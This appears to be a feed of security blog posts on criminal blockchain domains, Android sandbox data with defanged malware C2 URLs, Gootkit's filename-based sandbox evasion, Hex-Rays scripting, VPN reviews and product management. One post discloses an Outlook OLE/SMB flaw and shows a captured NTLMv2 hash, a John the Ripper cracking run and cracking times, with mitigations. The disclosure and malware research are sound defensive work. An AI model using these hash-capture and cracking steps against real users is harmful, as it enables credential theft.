  • Operators of Joker's Stash, a prolific and well-known card data shop, frequently change the site's URL. Recently, they opted for using a blockchain domain (jstash[.]bazar) instead of Tor, ostensibly for greater operational security.
  • Similarly, the following card shops have also moved to .bazar domains:
    • buybest[.]bazar
    • FRESHSTUFF[.]bazar
    • swipe[.]bazar
    • goodshop[.]bazar
    • easydeals[.]bazar
  • In addition to the hard-coded Namecoin domain, the aforementioned Neutrino sample also contained several hard-coded Emercoin domains:
    • http://brownsloboz[.]bazar
    • http://brownsloboz[.]lib
    • http://brownsloboz[.]emc
  • FireEye iSIGHT Intelligence identified a Gandcrab ransomware sample (MD5: a0259e95e9b3fd7f787134ab2f31ad3c) that leveraged the Emercoin TLD .coin for its C2 communications (Figure 16 and Figure 17).


Figure 16: DNS query for nomoreransom[.]coin


Figure 17: Gandcrab POST request to nomoreransom[.]coin

Outlook

While traditional methods of infrastructure obfuscation such as Tor, bulletproof, and fast-flux hosting will most likely continue for the foreseeable future, we assess that the usage of blockchain domains for malicious infrastructure will continue to gain popularity and usage among cyber criminals worldwide. Coinciding with the expected increase in demand, there will likely be an increasing number of malicious infrastructure offerings within the underground communities that support blockchain domains.

Due to the decentralized and replicated nature of a blockchain, law enforcement takedowns of a malicious domain would likely require that the entire blockchain be shut down – something that is unfeasible to do as many legitimate services run on these blockchains. If law enforcement agencies can identify the individual(s) managing specific malicious blockchain domains, the potential for these takedowns could occur; however, the likelihood for this to happen is heavily reliant on the operational security level maintained by the eCrime actors. Further, as cyber criminals continue to develop methods of infrastructure obfuscation and protection, blockchain domain takedowns will continue to prove difficult.

“ICS Defense: It’s Not a \”copy-paste\” from an IT playbook”

This blog was written by Dean Parsons. A large portion of Industrial Control Systems (ICS) are critical infrastructure that underpin our modern society. Some of which generate and distribute power and heat to our homes, businesses and healthcare centres. Other examples are key in the manufacturing industry, the refining and production of oil &amp; gas, &hellip; Continue reading ICS Defense: It's Not a "copy-paste" from an IT playbook

Windows 10 Update Disrupts Pen Input; Microsoft Offers Potentially Dangerous Fix

A recent Microsoft security update – according to Wacom’s support pages, the OS build 16299.334 – has had a rather unexpected side-effect. Many users of have been experiencing issues where drawing apps, such as Photoshop, no longer function correctly. For example, pressing the pen to the tablet device does not “draw” as it should, but […]

Multisandbox project welcomes Cyber adAPT ApkRecon


Two weeks ago we announced the release of our new VirusTotal Droidy Android sandbox, a virtual environment that executes Android applications in an automated fashion in order to capture all the actions that the given app performs on the operating system.

Today we are excited to announce that Cyber adAPT is becoming a multisandbox project partner and will be contributing data from its ApkRecon product to the fight against malware. Like Droidy, its solution also focuses on the Android environment. In their own words:

ApkRecon is a sandbox environment developed by the research team at Cyber adAPT.  Amongst many features, the sandbox boasts a baited Android environment, a decrypted network application level capture, and an attack payload triggering system to gain insight into the true intent of each piece of analyzed malware. ApkRecon is also used to generate detection logic for Cyber adAPT’s Mobile Threat Detection product to keep users safe all around the world.

These are some example reports displaying the data contributed by Cyber adAPT:


It is worth highlighting the usefulness of this kind of data. When facing unknown files for which you have no context it can be very rich contextual information that allows analysts to have an initial judgement of the file before diving into dissecting it. For example, looking at the last example report above we notice that the file performs an HTTP POST to:

hxxp://85.206.166.7/index.php?action=command

This is a URL that we can look up in VirusTotal Graph and jump to the host referenced in the URL, i.e. 85.206.166.7. When exploring this host we notice that only the file under consideration has communicated with it, however, we do notice that expansions are available according to the referrer files relationship. This relationship pinpoints files that contain the given host within its body, even if they have not been seen communicating with it. Let’s follow this notion, something shady seems to be going on:


Badness is much easier to spot when studying the sample characterised in this other report:

In this case the APK reaches out to the URL:

hxxp://zzwx.ru/apkfff?keyword=BBM

From there we can jump to the domain entity, i.e. zzwx.ru, and expand URLs observed under such domain, as well as files communicating with it. Just two hops and we already have a preliminary idea about the initial APK that reached out to the aforementioned URL being malicious:


These examples highlight the importance of extracting as many attributes and behavioral details as possible from files, not only because they allow us to better understand a particular threat, but because they connect the dots and reveal entire campaigns. For instance, very often blocking a given network location will render ineffective all malware variants of a given campaign (inability to reach the mothership server), so even when certain variants fly under detection radars, there is still hope that network security measures will stop a given attack.

This kind of approach to block badness is something that we have shaped into a particular paper hosted in our www.virustotal.com/learn space, more specifically the paper entitled VirusTotal Intelligence for banking trojans. In this paper malicious network infrastructure is shut down by contacting the pertinent domain registrars and hosting providers, however, organizations can also blacklist these locations in their network security controls.

Modernizing the Distributed Enterprise Network

Type

Attachment

Description

Your company is only as agile, connected and secure as its networks are—but making changes to your networks can feel risky, since improving security often means harming connectivity and vice versa. Learn how Forcepoint NGFW is changing the status quo and enabling digital transformation efforts

Feature Link

Title

Modernizing the Distributed Enterprise Network

ZenMate VPN review: This simple VPN clears your mind of complexity

ZenMate VPN in brief:

  • P2P allowed: Yes
  • Business location: Berlin, Germany
  • Number of servers: 300+
  • Number of country locations: 29
  • Cost: $60 per year
  • VPN protocol: IPSec + L2TP
  • Data encryption: 2048-bit PSK/ESP 
  • Data authentication: AES 256/HMAC
  • Handshake encryption: IKEv2 sha256 with 4096-bit RSA

When you think of Zen you probably think of monks, meditation, and cryptic sayings meant to expand your understanding of the world. But the word also suggests a certain sparseness and simplicity. Germany-based ZenGuard took those latter notions to heart when it created its ZenMate VPN service.

To read this article in full, please click here

ibVPN review: A no-frills VPN with everything you need

ibVPN in brief:

  • P2P allowed: Yes
  • Business location: Târgu Mureș,Romania
  • Number of servers: 180+
  • Number of country locations: 50
  • Cost: $37 (Standard) / $58 (Ultimate)
  • VPN protocol: IPSec (default)
  • Data encryption: AES-256 
  • Data authentication: HMAC-SHA2-256
  • Handshake encryption:  DHE-RSA-AES256-GCM-SHA384

Romania-based ibVPN (Invisible Browsing VPN) does not have a beautiful app. It looks a little dated, in fact. Despite that, however, I found it surprisingly easy to use and very helpful.

To read this article in full, please click here

IDG Contributor Network: Bridging the realms between cyber and physical security

The recent tragic events in Las Vegas, Lakeland, Manchester – and most recently at the YouTube campus—have put the issue of gun-related violence and the response to these incidents in the headlines. But there are other physical dangers as well. In late March, some 64 people—many of them children—perished in a fire in a Russian mall.

The prevalence of such disasters—and the possibility of dual physical and cyberattacks—has prompted some firms and investors to propose tech-based solutions for physical security. The need for such solutions is widespread. A recent survey from GrandView Research predicted that the global physical security market would grow from about $134 billion today to $290.7 billion by 2025 – an annual compound growth rate of 9.2 percent. The impetus is the perception that there are growing threats across the globe and new tech-based solutions to mitigate them.

To read this article in full, please click here

Automatically Stealing Password Hashes with Microsoft Outlook and OLE

Back in 2016, a coworker of mine was using CERT BFF, and he asked how he could turn a seemingly exploitable crash in Microsoft Office into a proof-of-concept exploit that runs calc.exe. Given Address Space Layout Randomization (ASLR) on modern Windows platforms, this isn't as easy as it used to be. One strategy to bypass ASLR that is possible in some cases is to leverage a memory leak to disclose memory addresses. Another strategy that is sometimes possible is to brute-force attack the vulnerability to make ASLR irrelevant. In this case, however, the path of least resistance was to simply use Rich Text Format (RTF) content to leverage Object Linking and Embedding (OLE) to load a library that doesn't opt in to using ASLR.

As I started pulling the thread of RTF and OLE, I uncovered a weakness that is much more severe than an ASLR bypass. Continue reading to follow my path of investigation, which leads to crashed Windows systems and stolen passwords.

Before getting into the details of my analysis, let's cover some of the basics involved:

OLE

OLE is a technology that Microsoft released in 1990 that allows content from one program to be embedded into a document handled by another program. For example, in Windows 3.x Microsoft Write provides the ability to embed a "Paintbrush Picture" object, as well as a "Sound" or a "Package." These are the three available OLE objects that can be inserted into a Write document:

insert_paint_object.png

Once inserted, we now have a Write document that has embedded Paintbrush content. Neat!

paint_OLE_in_write.png

Server Message Block (SMB)

SMB is a protocol that extends the DOS API (Interrupt 21h) for local file access to include network capabilities. That is, a file on a remote server can be accessed in much the same way that a file on a local drive can be accessed. Microsoft included SMB capabilities in Windows for Workgroups 3.1, which was released in 1992.

Microsoft Outlook

Microsoft Outlook is an email client that comes with Microsoft Office. Outlook includes the ability to send rich text (RTF) email messages. These messages can include OLE objects in them.

outlook_insert_object.png

When viewed with the Microsoft Outlook client, these rich text email messages are displayed in all of their rich-text glory.

Putting the Pieces Together

You may already have an idea of where I am going. If it's not clear, let's summarize what we know so far:

  1. Microsoft Outlook can create and render RTF email messages.
  2. RTF documents (including email messages) can include OLE objects.
  3. Due to SMB, OLE objects can live on remote servers.

Observing Microsoft Outlook Behavior

HTML email messages on the Internet are much more common than rich text email, so let's first look at the behavior of Microsoft Outlook when viewing an HTML message that has a remote image on a web server:

html_message_annotated.png

Here we can see that the remote image is not loaded automatically. Why is this the case? The reason is because if Outlook allowed remote images to load automatically, it could leak the client system's IP address and other metadata such as the time that an email is viewed. This restriction helps to protect against a web bug being used in email messages.

Now let's try the same sort of message, except in rich text format. And rather than a remote image file, it's an OLE document that is loaded from a remote SMB server:

rtf_message_annotated.png

Well this is unexpected. Outlook blocks remote web content due to the privacy risk of web bugs. But with a rich text email, the OLE object is loaded with no user interaction. Let's look at the traffic in Wireshark to see what exactly is being leaked as the result of this automatic remote object loading:

wireshark_annotated.png

Here we can see than an SMB connection is being automatically negotiated. The only action that triggers this negotiation is Outlook previewing an email that is sent to it. In the screenshot above, I can see that the following things are being leaked:

  1. IP address
  2. Domain name
  3. User name
  4. Host name
  5. SMB session key

A remote OLE object in a rich text email messages functions like a web bug on steroids! At this point in my analysis in late 2016, I notified Microsoft about the issue.

Impacts of an OLE Web Bug

This bug results in two main problems, described below.

Crashing the Client

We know at this point that we can trigger Outlook to initiate an SMB connection to an arbitrary host. On February 1, 2017, a Windows SMB client vulnerability (VU#867968) was disclosed. Upon connecting to a malicious SMB server, Windows would crash. What if we created a rich text email in Outlook, but point to an SMB server that exploits this vulnerability?

smbcrash.gif

Once Outlook previews such an email message, Windows will crash with a Blue Screen of Death (BSOD) such as the above. And beyond that, every time Outlook is launched after encountering such a scenario, Windows will BSOD crash again because Outlook remembers the last email message that was open. This is quite a denial of service attack. At this point I shared the attack details with Microsoft. Eventually Microsoft fixed this SMB vulnerability, and luckily we did not hear about any mass email-based exploitation of it.

Collecting Password Hashes

SMB vulnerabilities aside, I decided to dig deeper into the risks of a client attempting to initiate an SMB connection to an attacker's server. Based on what I saw in Wireshark, I already knew that it leaked much more than just the IP address of the victim. This time I used both Responder and John the Ripper.

First I sent an RTF email that has a remote OLE object that points to a system running Responder. On the Responder system I saw the following as soon as the email was previewed in Outlook:

[SMB] NTLMv2-SSP Client   : 192.168.153.136
[SMB] NTLMv2-SSP Username : DESKTOP-V26GAHF\test_user
[SMB] NTLMv2-SSP Hash : test_user::DESKTOP-V26GAHF:1122334455667788:571EE693342B161C50A73D502EB49B5A:010100000000000046E1992B4BB2D301FFADACA3241B6E090000000002000A0053004D0042003100320001000A0053004D0042003100320004000A0053004D0042003100320003000A0053004D0042003100320005000A0053004D004200310032000800300030000000000000000100000000200000D3BDB30B62A8937256327776471E072C7C6DE9F4F98458D1FEA17CBBB6AFBA770A001000000000000000000000000000000000000900280063006900660073002F003100390032002E003100360038002E003100350033002E003100330038000000000000000000

Here we have an NTLMv2 hash that we can hand off to John the Ripper. As shown below, I copied and pasted the hash into a file called test_user.john:

john test_user.john
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 24 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
test (test_user)
Session completed

In approximately 1 second, I was able to determine that the password for the user "test_user" who opened my RTF email was test. The hash for a stronger password (longer and more types of characters) will take longer to crack. I've performed some basic testing on how long it takes to bruteforce the entire solution space of an 8-character password on a single mid-range GPU (NVIDIA GTX 960):

  • Lowercase letters - 16 minutes
  • Mixed-case letters - 3 days
  • Mixed-case letters and digits - 12 days
  • Mixed-case letters, digits, and symbols - 1 year

The statistics above are the worst-case scenarios for bruteforce cracking randomly-generated passwords. Any passwords that are words (like "test") or patterns (like "asdf") are much easier to crack than randomly-generated passwords, since most cracking tools have rules to check for such things.

Also, an attacker may have access to systems with multiple high-end GPUs that can cut their times into fractions of the above numbers. Each character that is added to the password length has an exponential effect on the time it takes to bruteforce the password, though. For example, while my mid-range GPU takes 1 year to exhaust the entire solution space of an 8-character password (with mixed case letters, digits, and symbols), increasing the password length to 9 characters also increases the time it takes to exhaust the solution space to 84 years!

Microsoft's Fix

Microsoft released a fix for the issue of Outlook automatically loading remote OLE content (CVE-2018-0950). Once this fix is installed, previewed email messages will no longer automatically connect to remote SMB servers. This fix helps to prevent the attacks outlined above. It is important to realize that even with this patch, a user is still a single click away from falling victim to the types of attacks described above. For example, if an email message has a UNC-style link that begins with "\\", clicking the link initiates an SMB connection to the specified server.

outlook_smb_link.png

Additional details are available in CERT Vulnerability note VU#974272.

Conclusion and Recommendations

On the Windows platform, there are several ways to cause the client to initiate an SMB connection. Any time an SMB connection is initiated, the client's IP address, domain name, user name, host name, and password hash may be leaked. To help protect against attacks that involve causing a victim's machine to initiate an SMB connection, please consider the following mitigations:

  • Install Microsoft update CVE-2018-0950. This update prevents automatic retrieval of remote OLE objects in Microsoft Outlook when rich text email messages are previewed. If a user clicks on an SMB link, however, this behavior will still cause a password hash to be leaked.
  • Block inbound and outbound SMB connections at your network border. This can be accomplished by blocking ports 445/tcp, 137/tcp, 139/tcp, as well as 137/udp and 139/udp.
  • Block NTLM Single Sign-on (SSO) authentication, as specified in Microsoft Security Advisory ADV170014. Starting with Windows 10 and Server 2016, if the EnterpriseAccountSSO registry value is created and set to 0, SSO authentication will be disabled for external and unspecified network resources. With this registry change, accessing SMB resources is still allowed, but external and unspecified SMB resources will require the user to enter credentials as opposed to automatically attempting to use the hash of the currently logged-on user.
  • Assume that at some point your client system will attempt to make an SMB connection to an attacker's server. For this reason, make sure that any Windows login has a sufficiently complex password so that it is resistant to cracking. The following two strategies can help achieve this goal:
    1. Use a password manager to help generate complex random passwords. This strategy can help ensure the use of unique passwords across resources that you use, and it can ensure that the passwords are of a sufficient complexity and randomness.
    2. Use longer passphrases (with mixed-case letters, numbers and symbols) instead of passwords. This strategy can produce memorable credentials that do not require additional software to store and retrieve.

I Hash You: A Simple But Effective Trick to Evade Dynamic Analysis

Authored by: Alexander Sevtsov
Edited by: Stefano Ortolani

Apparently “Every new day is new evasion trick day” is a valid motto for many malware authors nowadays. The last sample we are adding to our collection is a banking malware that tries to evade analysis by carefully checking its own filename. While our backend strictly preserves the original name, knowing the tricks employed by this malware might be essential while threat hunting or during some IR investigation.

The sample in question sha1: 4793f245ee6f04f836071528f9f66d3a9a678341 is a variant of the highly evasive banker called Gootkit and will be the subject of this blog post.

Delivery Vector – Social Engineering

Based on our internal telemetry data, the main delivery vector for this malware are document files, mainly macro-based downloaders and documents with embedded PE files. No known exploits are involved in this attack. Below you can see the screenshots (Figure 1 and 2, click on each to enlarge) showing two examples of malicious documents along with the usual lure encouraging victims to either enable macro code execution or double-click the embedded executable file.

Click to enlarge

Figure 1. An example of malicious macro-based document downloader

Click to enlarge

Figure 2. An example of a malicious document with an embedded executable file

Evasion Tricks – Checking Own Filename

Once the user falls for either suggestion, the malware starts executing. The first evasion trick is done by checking its own filename: to retrieve it, the malware calls the PathFindFileName function. It then computes the hash of the filename by using the following algorithm:

Figure 3. Decompiled hash algorithm

Figure 3. Decompiled hash algorithm

The constant highlighted in Figure 3 quickly gives away that we are dealing with a standard CRC32 hashing algorithm with no table lookup (for more details refer to crc32b here). The hash so-computed is then matched against the entries of a blacklist (see Table 1). This is clearly to frustrate analysts: as there is no actual string comparison, it is not possible to easily extract the actual entries. The only option is to re-implement the hash algorithm and either brute-force it or rely on a dictionary.

Blacklisted Hash Filename
0xBC136B46 SAMPLE.EXE
0xEED889C4 MALWARE.EXE
0x58636143 TEST.EXE
0xD84A20AC SANDBOX.EXE
0xC0F26006 BOT.EXE
0xE8CBAB78 MYAPP.EXE
0x8606BEDD KLAVME.EXE
0x2AB6E04A TESTAPP.EXE
0x31E6D1EA ?

Table 1. Blacklisted CRC32 hashes and their input strings (not really unique as you can see here for example)

We tried both approaches and managed to recover the original filenames. This helped us to get an idea of the analysis systems targeted by this evasion trick. As it turns out, not only sandboxes are in the crosshair of this sample, but also manual analysis sessions: renaming the analyzed file is quite a common practice among researchers in training who just started working with instrumented environments. To them we say: filenames matter, and should at least be randomized.

Know that this behavior is not unique. In fact, we found several samples in our intelligence backend that make use of similar names as a part of their anti-analysis tricks (see Figure 4).

Figure 4. Another sample (sha1: b8ced67968a10c931aa7da5630baaf1497a7ceb6) that checks weak filenames by calling the GetModuleFileName function

Figure 4. Another sample sha1: b8ced67968a10c931aa7da5630baaf1497a7ceb6 that checks weak filenames by calling the GetModuleFileName function

Unfortunately, none of them helped us with figuring out what was the last blacklisted entry. Brute forcing only produced a bunch of collisions DNYYQXU.EXE and BLRARSHA.EXE and they are both just too random to be the actual blacklisted file names.

Sub-optimal Approaches

Analysts might be tempted to think that randomizing file names would do the trick. That would normally work, but remember that you would still be exposed to the tiny chance of guessing a collision (for example MYAPP.EXE and BBNURKU.EXE have the same hash 0xE8CBAB78 this is hardly common for hash algorithms, but in case of error-detecting codes, it happens a tiny bit more often.

Another common approach is to rename a file to its md5 or sha1 value (such as 02d41d2a7b50b7ee561eef220a7b57df.exe. This is definitely a bad practice, and much worse than a fully randomized name since there is nothing stopping the malware from doing the very same computation and simply evading analysis in case of a match. Interestingly, this is also the default filename when downloading artifacts from platforms like VirusTotal, isn’t it?

Going back to the Gootkit sample, in our case, the malware is a bit more aggressive and just terminates execution if the file name is at least 32 digits long (which is incidentally the length of the md5 hash algorithms). For this reason, to our customers manually submitting artifacts, our recommendation is to always avoid long (maybe hash-based) file names, as this has the potential to hinder a correct dynamic analysis.

Lastline Approach

The best way to mitigate these evasion attempts is to rely on the origin of the sample, and if possible, retrieve the original filename. We understand it might not be always that easy if done manually. For example, the file name might originate from a malicious downloader or from an embedded resource.

In our sandbox, we automate this step and we monitor the real network traffic and execute the artifacts as they are downloaded, meaning that we always preserve the original name (see Figure 5).

Figure 5. The Lastline analysis overview of the Gootkit malware Conclusion

Figure 5. The Lastline analysis overview of the Gootkit malware

Conclusion

Sometimes the simplest tricks are the best, and can even frustrate analysts (imagine if the sample was executing only if the original name was preserved, for example). In this article, we went through some simple examples and explained how to avoid the most common pitfalls. In conclusion just be careful when submitting a file manually to a dynamic analysis system, and if in doubt, let the system unpack or download the artifact you want to analyze.

The post I Hash You: A Simple But Effective Trick to Evade Dynamic Analysis appeared first on Lastline.

How to check if Facebook shared your personal info with Cambridge Analytica

Was your Facebook data shared with Cambridge Analytica? The political research firm harvested the personal information of roughly 87 million people to target American voters, using a personality quiz called “This Is Your Digital Life” that scraped the Facebook data of you and your friends. The social network recently started notifying users who had their information scooped up.

If you haven’t seen the prompt in your News Feed, you can check if your Facebook data was shared with Cambridge Analytica by logging into the network and visiting this help page. The section titled “Was my information shared?” explains whether your or your friends ever logged into the nefarious quiz, though it won’t name which friends handed over your data to the app.

To read this article in full, please click here

Solving Ad-hoc Problems with Hex-Rays API

Introduction

IDA Pro is the de facto standard when it comes to binary reverse engineering. Besides being a great disassembler and debugger, it is possible to extend it and include a powerful decompiler by purchasing an additional license from Hex-Rays. The ability to switch between disassembled and decompiled code can greatly reduce the analysis time.

The decompiler (from now on referred to as Hex-Rays) has been around for a long time and has achieved a good level of maturity. However, there seems to be a lack of a concise and complete resources regarding this topic (tutorials or otherwise). In this blog, we aim to close that gap by showcasing examples where scripting Hex-Rays goes a long way.

Overview of a Decompiler

In order to understand how the decompiler works, it’s helpful to first review the normal compilation process.

Compilation and decompilation center around the concept of an Abstract Syntax Tree (AST). In essence, a compiler takes the source code, splits it into tokens according to a grammar, then these tokens are grouped into logical expressions. In this phase of the compilation process, referred to as parsing, the code structure is represented as a complex object, the AST. From the AST, the compiler will produce assembly code for the specified platform.

A decompiler takes the opposite route. From the given assembly code, it works back to produce an AST, and from this to produce pseudocode.

From all the intermediate steps between code and assembly, we are stressing the AST so much because most of the time you will spend using the Hex-Rays API, you will actually be reading and/or modifying the Abstract Syntax Tree (or ctree in Hex-Rays terminology).

Items, Expressions and Statements

Now we know that Hex-Rays’s ctree is a tree-like data structure. The nodes of this tree are either of type cinsn_t or cexpr_t. We will define these in a moment, but for now it is important to know that both derive from a very basic type, namely the citem_t type, as seen in the following code snippet:

Therefore, all nodes in the ctree will have the op property, which indicates the node type (variable, number, logical expression, etc.).

The type of op (ctype_t) is an enumeration where all constants are named either cit_<xyz> (for statements) or cot_<xyz> (for expressions). Keep this in mind, as it will be very important. A quick way to inspect all ctype_t constants and their values is to execute the following code snippet:

This produces the following output:

Let’s dive a bit deeper and explain the two types of nodes: expressions and statements.

It is useful to think about expressions as the “the little logical elements” of your code. They range from simple types such as variables, strings or numerical constants, to small code constructs (assignments, comparisons, additions, logical operations, array indexing, etc.).

These are of type cexpr_t, a large structure containing several members. The members that can be accessed depend on its op value. For example, the member n to obtain the numeric value only makes sense when dealing with constants.

On the other side, we have statements. These correlate roughly to language keywords (if, for, do, while, return, etc.) Most of them are related to control flow and can be thought as “the big picture elements” of your code.

Recapitulating, we have seen how the decompiler exposes this tree-like structure (the ctree), which consists of two types of nodes: expressions and statements. In order to extract information from or modify the decompiled code, we have to interact with the ctree nodes via methods dependent on the node type. However, the following question arises: “How do we reach the nodes?”

This is done via a class exposed by Hex-Rays: the tree visitor (ctree_visitor_t). This class has two virtual methods, visit_insn and visit_expr, that are executed when a statement or expression is found while traversing the ctree. We can create our own visitor classes by inheriting from this one and overloading the corresponding methods.

Example Scripts

In this section, we will use the Hex-Rays API to solve two real-world problems:

  • Identify calls to GetProcAddress to dynamically resolve Windows APIs, assigning the resulting address to a global variable.
  • Display assignments related to stack strings as characters instead of numbers, for easier readability.

GetProcAddress

The first example we will walk through is how to automatically handle renaming global variables that have been dynamically resolved at run time. This is a common technique malware uses to hide its capabilities from static analysis tools. An example of dynamically resolving global variables using GetProcAddress is shown in Figure 1.


Figure 1: Dynamic API resolution using GetProcAddress

There are several ways to rename the global variables, with the simplest being manual copy and paste. However, this task is very repetitive and can be scripted using the Hex-Rays API.

In order to write any Hex-Rays script, it is important to first visualize the ctree. The Hex-Rays SDK includes a sample, sample5, which can be used to view the current function’s ctree. The amount of data shown in a ctree for a function can be overwhelming. A modified version of the sample was used to produce a picture of a sub-ctree for the function shown in Figure 1. The sub-ctree for the single expression: 'dword_1000B2D8 = (int)GetProcAdress(v0, "CreateThread");' is shown in Figure 2.


Figure 2: Sub-ctree for GetProcAddress assignment

With knowledge of the sub-ctree in use, we can write a script to automatically rename all the global variables that are being assigned using this method.

The code to automatically rename all the local variables is shown in Figure 3. The code works by traversing the ctree looking for calls to the GetProcAddress function. Once found, the code takes the name of the function being resolved and finds the global variable that is being set. The code then uses the IDA MakeName API to rename the address to the correct function.


Figure 3: Function renaming global variables

After the script has been executed, we can see in Figure 4 that all the global variables have been renamed to the appropriate function name.


Figure 4: Global variables renamed

Stack Strings

Our next example is a typical issue when dealing with malware: stack strings. This is a technique aimed to make the analysis harder by using arrays of characters instead of strings in the code. An example can be seen in Figure 5; the malware stores each character’s ASCII value in the stack and then references it in the call to sprintf. At a first glance, it’s very difficult to say what is the meaning of this string (unless of course, you know the ASCII table by heart).


Figure 5: Hex-Rays decompiler output. Stack strings are difficult to read.

Our script will modify these assignments to something more readable. The important part of our code is the ctree visitor mentioned earlier, which is shown in Figure 6.


Figure 6: Custom ctree visitor

The logic implemented here is pretty straightforward. We define our subclass of a ctree visitor (line 1) and override its visit_expr method. This will only kick in when an assignment is found (line 9). Another condition to be met is that the left side of the assignment is a variable and the right side a number (line 15). Moreover, the numeric value must be in the readable ASCII range (lines 20 and 21).

Once this kind of expression is found, we will change the type of the right side from a number to a string (lines 26 to 31), and replace its numerical value by the corresponding ASCII character (line 32).

The modified pseudocode after running this script is shown in Figure 7.


Figure 7: Assigned values shown as characters

You can find the complete scripts in our FLARE GitHub repository under decompiler scripts

Conclusion

These two admittedly simple examples should be able to give you an idea of the power of IDA’s decompiler API. In this post we have covered the foundations of all decompiler scripts: the ctree object, a structure composed by expressions and statements representing every element of the code as well the relationships between them. By creating a custom visitor we have shown how to traverse the tree and read or modify the code elements, therefore analyzing or modifying the pseudocode.

Hopefully, this post will motivate you to start writing your own scripts. This is only the beginning!

Do you want to learn more about these tools and techniques from FLARE? Then you should take one of our Black Hat classes in Las Vegas this summer! Our offerings include Malware Analysis Crash Course, macOS Malware for Reverse Engineers, and Malware Analysis Master Class.

References

Although written in 2009, one of the best references is still the original article on the Hex-Rays blog.

Security Product Management at Large Companies vs. Startups

Is it better to perform product management of information security solutions at a large company or at a startup? Picking the setting that’s right for you isn’t as simple as craving the exuberant energy of a young firm or coveting the resources and brand of an organization that’s been around for a while. Each environment has its challenges and advantages for product managers. The type of innovation, nature of collaboration, sales dynamics, and cultural nuances are among the factors to consider when deciding which setting is best for you.

The perspective below is based on my product management experiences in the field information security, though I suspect it’s applicable to product managers in other hi-tech environments.

Product Management at a Large Firm

In the world of information security, industry incumbents are usually large organizations. This is in part because growing in a way that satisfies investors generally requires the financial might, brand and customer access that’s hard for small cyber-security companies to achieve. Moreover, customers who are not early adopters often find it easier to focus their purchasing on a single provider of unified infosec solutions. These dynamics set the context for the product manager’s role at large firms.

Access to Customers

Though the specifics differs across organizations, product management often involves defining capabilities and driving adoption. The product manager’s most significant advantage at a large company is probably access to customers. This is due to the size of the firm’s sales and marketing organization, as well as due to the large number of companies that have already purchased some of the company’s products.

Such access helps with understanding requirements for new products, improving existing technologies, and finding new customers. For example, you could bring your product to a new geography by using the sales force present in that area without having to hire a dedicated team. Also, it’s easier to upsell a complementary solution than build a new customer relationship from scratch.

Access to Expertise

Another benefit of a large organization is access to funds and expertise that’s sometimes hard to obtain in a young, small company. Instead of hiring a full-time specialist for a particular task, you might be able to draw upon the skills and experience of someone who supports multiple products and teams. In addition, assuming your efforts receive the necessary funding, you might find it easier to pursue product objectives and enter new markets in a way that could be hard for a startup to accomplish. This isn’t always easy, because budgetary planning in large companies can be more onerous than Venture Capitalist fund raising.

Organizational Structure

Working in any capacity at an established firm requires that you understand and follow the often-changing bureaucratic processes inherent to any large entity. Depending on the organization’s structure, product managers in such environments might lack the direct control over the teams vital to the success of their product. Therefore, the product manager needs to excel at forming cross-functional relationships and influencing indirectly. (Coincidentally, this is also a key skill-set for many Chief Information Security Officers.)

Sometimes even understanding all of your own objectives and success criteria in such environments can be challenging. It can be even harder to stay abreast of the responsibilities of others in the corporate structure. On the other hand, one of the upsides of a large organization is the room to grow one’s responsibilities vertically and horizontally without switching organizations. This is often impractical in small companies.

What It’s Like at a Large Firm

In a nutshell, these are the characteristics inherent to product management roles at large companies:

  • An established sales organization, which provides access to customers
  • Potentially-conflicting priorities and incentives with groups and individuals within the organization
  • Rigid organizational structure and bureaucracy
  • Potentially-easier access to funding for sophisticated projects and complex products
  • Possibly-easier access to the needed expertise
  • Well-defined career development roadmap

I loved working as a security product manager at a large company. I was able to oversee a range of in-house software products and managed services that focused on data security. One of my solutions involved custom-developed hardware, with integrated home-grown and third-party software, serviced a team of help desk and in-the-field technicians. A fun challenge!

I also appreciated the chance to develop expertise in the industries that my employer serviced, so I could position infosec benefits in the context relevant to those customers. I enjoyed staying abreast of the social dynamics and politics of a siloed, matrixed organization. After awhile I decided to leave because I was starting to feel a bit too comfortable. I also developed an appetite for risk and began craving the energy inherent to startups.

Product Management in a Startup

One of the most liberating, yet scary aspects of product management at a startup is that you’re starting the product from a clean slate. On the other hand, while product managers at established companies often need to account for legacy requirements and internal dependencies, a young firm is generally free of such entanglements, at least at the onset of its journey.

What markets are we targeting? How will we reach customers? What comprises the minimum viable product? Though product managers ask such questions in all types of companies, startups are less likely to survive erroneous answers in the long term. Fortunately, short-term experiments are easier to perform to validate ideas before making strategic commitments.

Experimenting With Capabilities

Working in a small, nimble company allows the product manager to quickly experiment with ideas, get them implemented, introduce them into the field, and gather feedback. In the world of infosec, rapidly iterating through defensive capabilities of the product is useful for multiple reasons, including the ability to assess—based on real-world feedback—whether the approach works against threats.

Have an idea that is so crazy, it just might work? In a startup, you’re more likely to have a chance to try some aspect of your approach, so you can rapidly determine whether it’s worth pursuing further. Moreover, given the mindshare that the industry’s incumbents have with customers, fast iterations help understand which product capabilities, delivered by the startup, the customers will truly value.

Fluid Responsibilities

In all companies, almost every individual has a certain role for which they’ve been hired. Yet, the specific responsibilities assigned to that role in a young firm often benefit from the person’s interpretation, and are based on the person’s strengths and the company’s need at a given moment. A security product manager working at a startup might need to assist with pre-sales activities, take a part in marketing projects, perform threat research and potentially develop proof-of-concept code, depending on what expertise the person possesses and what the company requires.

People in a small company are less likely to have the “it’s not my job attitude” than those in highly-structured, large organizations. A startup generally has fewer silos, making it easier to engage in activities that interest the person even if they are outside his or her direct responsibilities. This can be stressful and draining at times. On the other hand, it makes it difficult to get bored, and also gives the product manager an opportunity to acquire skills in areas tangential to product management. (For additional details regarding this, see my article What’s It Like to Join a Startup’s Executive Team?)

Customer Reach

Product manager’s access to customers and prospects at a startup tends to be more immediate and direct than at a large corporation. This is in part because of the many hats that the product manager needs to wear, sometimes acting as a sales engineer and at times helping with support duties. These tasks give the person the opportunity to hear unfiltered feedback from current and potential users of the product.

However, a young company simply lacks the scale of the sales force that accommodates reaching many customers until the firm builds up steam. (See Access to Customers above.) This means that the product manager might need to help identifying prospects, which can be outside the comfort zone of individuals who haven’t participated in sales efforts in this capacity.

What It’s Like at a Startup

Here are the key aspects of performing product management at a startup:

  • Ability and need to iterate faster to get feedback
  • Willingness and need to take higher risks
  • Lower bureaucratic burden and red tape
  • Much harder to reach customers
  • Often fewer resources to deliver on the roadmap
  • Fluid designation of responsibilities

